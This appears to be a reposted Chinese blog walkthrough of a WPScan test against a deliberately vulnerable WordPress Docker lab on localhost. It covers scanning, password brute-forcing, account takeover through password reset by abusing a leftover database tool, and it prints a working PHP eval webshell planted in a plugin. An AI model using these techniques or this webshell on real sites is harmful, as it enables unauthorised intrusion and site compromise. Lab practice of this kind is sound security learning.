WPScan初體驗


近日在朋友圈看某位dalao在Ubuntu上安裝WPScan花了一個小時,於是灑家隨手在Kali Linux上輸入了wpscan,發現Kali里面已經裝好了。於是決定玩兩把WPScan。

WordPress博客平台代碼量多,也曾經爆出過大量漏洞。遇到WordPress先用傻瓜式工具掃描一下是一個不錯的開始。

http://www.cnblogs.com/go2bed/p/6398788.html  原創

安裝靶機

灑家使用了 https://hub.docker.com/r/wpscanteam/vulnerablewordpress/   官方出品的Docker鏡像 wpscanteam/vulnerablewordpress,pull完畢后運行,轉發80和3306端口。

docker run --name vulnerablewordpress -d -p 80:80 -p 3306:3306 wpscan/vulnerablewordpress

后期又在docker容器里面安裝了vim sendmail 等軟件。

初始設置用戶admin,密碼是某弱口令

初步掃描

首先掃描一波

wpscan --url http://127.0.0.1/

暴露出以下幾個比較嚴重的漏洞:

配置文件備份泄露:

[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php%7E' 
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php.save' 
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.old' 
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.txt' 
從中可以得到 數據庫信息,以及其他各種AUTH_KEY SALT 等等 
define('DB_NAME', 'wordpress'); /** MySQL database username */  
define('DB_USER', 'wordpress'); /** MySQL database password */  
define('DB_PASSWORD', 'wordpress'); /** MySQL hostname */  
define('DB_HOST', 'localhost');  

 

目測由於數據庫賬號wordpress被限制為localhost,無法在服務器外登錄。但是由於開放了3306端口,可以用root用戶空口令登錄。

root@kali:~# mysql -uwordpress -pwordpress -h127.0.0.1
ERROR 1045 (28000): Access denied for user 'wordpress'@'172.17.0.1' (using password: YES)
root@kali:~# mysql -uroot -p -h127.0.0.1
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 216
Server version: 5.5.54-0ubuntu0.14.04.1 (Ubuntu)

 

 

 

另外還發現一個后門 searchreplacedb2.php:

[!] searchreplacedb2.php has been found in: 'http://127.0.0.1/searchreplacedb2.php' 
搜索一番之后灑家了解到,這是一個用於WordPress網站更換域名之后批量替換數據庫內容的工具。但是用了兩下之后可以看出,它只能替換,並沒有找到查詢數據的方法。
 

另外,searchreplacedb2.php會自動讀取wp-config.php,然后返回的表單里面也包含數據庫用戶名和密碼。

 

 

 

其他掃描出來的漏洞 :

[+] XML-RPC Interface available under: http://127.0.0.1/xmlrpc.php  一個XML接口,以前爆出來過可以無限制暴力破解攻擊的問題

[!] Includes directory has directory listing enabled: http://127.0.0.1/wp-includes/     網站配置為可以列目錄,可能泄露其他信息

[!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)     有一個example.html 有DOM型XSS漏洞,然而訪問了一下實際並不存在這個文件

等等,本次基本沒有使用。

枚舉WordPress信息

WPScan提供了以下枚舉功能:

-Do wordlist password brute force on enumerated users using 50 threads ...
使用50線程對枚舉出來的用戶的密碼進行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
只對指定admin用戶的密碼進行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
枚舉安裝的插件
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
枚舉安裝的主題
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
枚舉用戶
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

例如,枚舉用戶可得:

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-------+
    | Id | Login | Name  |
    +----+-------+-------+
    | 1  | admin | admin |
    +----+-------+-------+
[!] Default first WordPress username 'admin' is still used

 

暴力破解拿下管理員賬號

初始設置為管理員賬號是admin,假設密碼是未知弱口令。

可以提供一個字典暴力破解用戶的密碼。

參數: --wordlist | -w <wordlist>          Supply a wordlist for the password brute forcer.

sudo wpscan --url http://127.0.0.1/ --wordlist ~/Documents/dict.txt
(省略) [+] Enumerating usernames ... [+] Identified the following 1 user/s: +----+-------+-------+ | Id | Login | Name | +----+-------+-------+ | 1 | admin | admin | +----+-------+-------+ [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer [+] [SUCCESS] Login : admin Password : 123456789 Brute Forcing 'admin' Time: 00:00:01 <================================ > (9 / 10) 90.00% ETA: 00:00:00 +----+-------+-------+-----------+ | Id | Login | Name | Password | +----+-------+-------+-----------+ | 1 | admin | admin | 123456789 | +----+-------+-------+-----------+

利用searchreplacedb2.php修改郵箱重置密碼拿下管理員賬號

由前文已知,存在一個遺留后門searchreplacedb2.php,可以利用它修改管理員admin預留的郵箱,點擊忘記密碼發送重置密碼鏈接,然后重置密碼。

在實際滲透過程中完整的郵箱往往不易得到,需要經過社工等手段猜測。因此灑家沒有替換整體郵箱,而是猜測郵箱的域名,替換為自己的服務器域名,然后監聽25端口即可接收任意發往自己的服務器的郵件。

服務器上監聽25端口:

sudo python -m smtpd -n -c DebuggingServer 0.0.0.0:25

數據庫的wp_users表的結構為:

MySQL [wordpress]> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field               | Type                | Null | Key | Default             | Extra          |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| user_login          | varchar(60)         | NO   | MUL |                     |                |
| user_pass           | varchar(64)         | NO   |     |                     |                |
| user_nicename       | varchar(50)         | NO   | MUL |                     |                |
| user_email          | varchar(100)        | NO   |     |                     |                |
| user_url            | varchar(100)        | NO   |     |                     |                |
| user_registered     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| user_activation_key | varchar(60)         | NO   |     |                     |                |
| user_status         | int(11)             | NO   |     | 0                   |                |
| display_name        | varchar(250)        | NO   |     |                     |                |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.00 sec)

假設郵箱是QQ郵箱,替換wp_users表:

 

 

然后點擊密碼重置鏈接,輸入admin賬號,

 

 

順利收到重置密碼的郵件。郵件正文用base64編碼,解碼后可以得到重置鏈接,從而重置密碼。

 

 

放置WebShell 

這個網站文件整個是 www-data 所屬,有寫權限。

根據網上流傳的文章 http://xcha3389.blog.sohu.com/169600289.html WordPress后台拿WebShell的方法:

1.本機建立目錄“chaochao”,把一句話1.php放進去。打包wawa目錄為zip文件。WP后台的主題管理,上傳主題,安裝。
則你的后門路徑為:wp-content\themes\chaochao\1.php

2.能編輯模板就能拿到shell
首先edit 模板 接着找php的文件,接着備份下他的內容,然后替換成一句話木馬,接着訪問那個頁面的地址
/wp-content/themes/default/404.php

編輯這個網站的Hello Dolly插件,增加代碼:

<?php
if(isset($_GET['cmd'])){
eval($_GET['cmd']);
exit();
}
?>

 

 

 

文件位置在 http://127.0.0.1/wp-content/plugins/hello.php?cmd=phpinfo(); 

 

 

研究了兩下WordPress的Plugin,發現Hello Dolly插件足夠簡單,里面只有一個readme.txt 和 hello.php,可以直接用來修改作為惡意插件上傳。

 

 

上傳成功,webshell在 http://127.0.0.1/wp-content/plugins/hello-shell/shell.php?cmd=phpinfo();

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM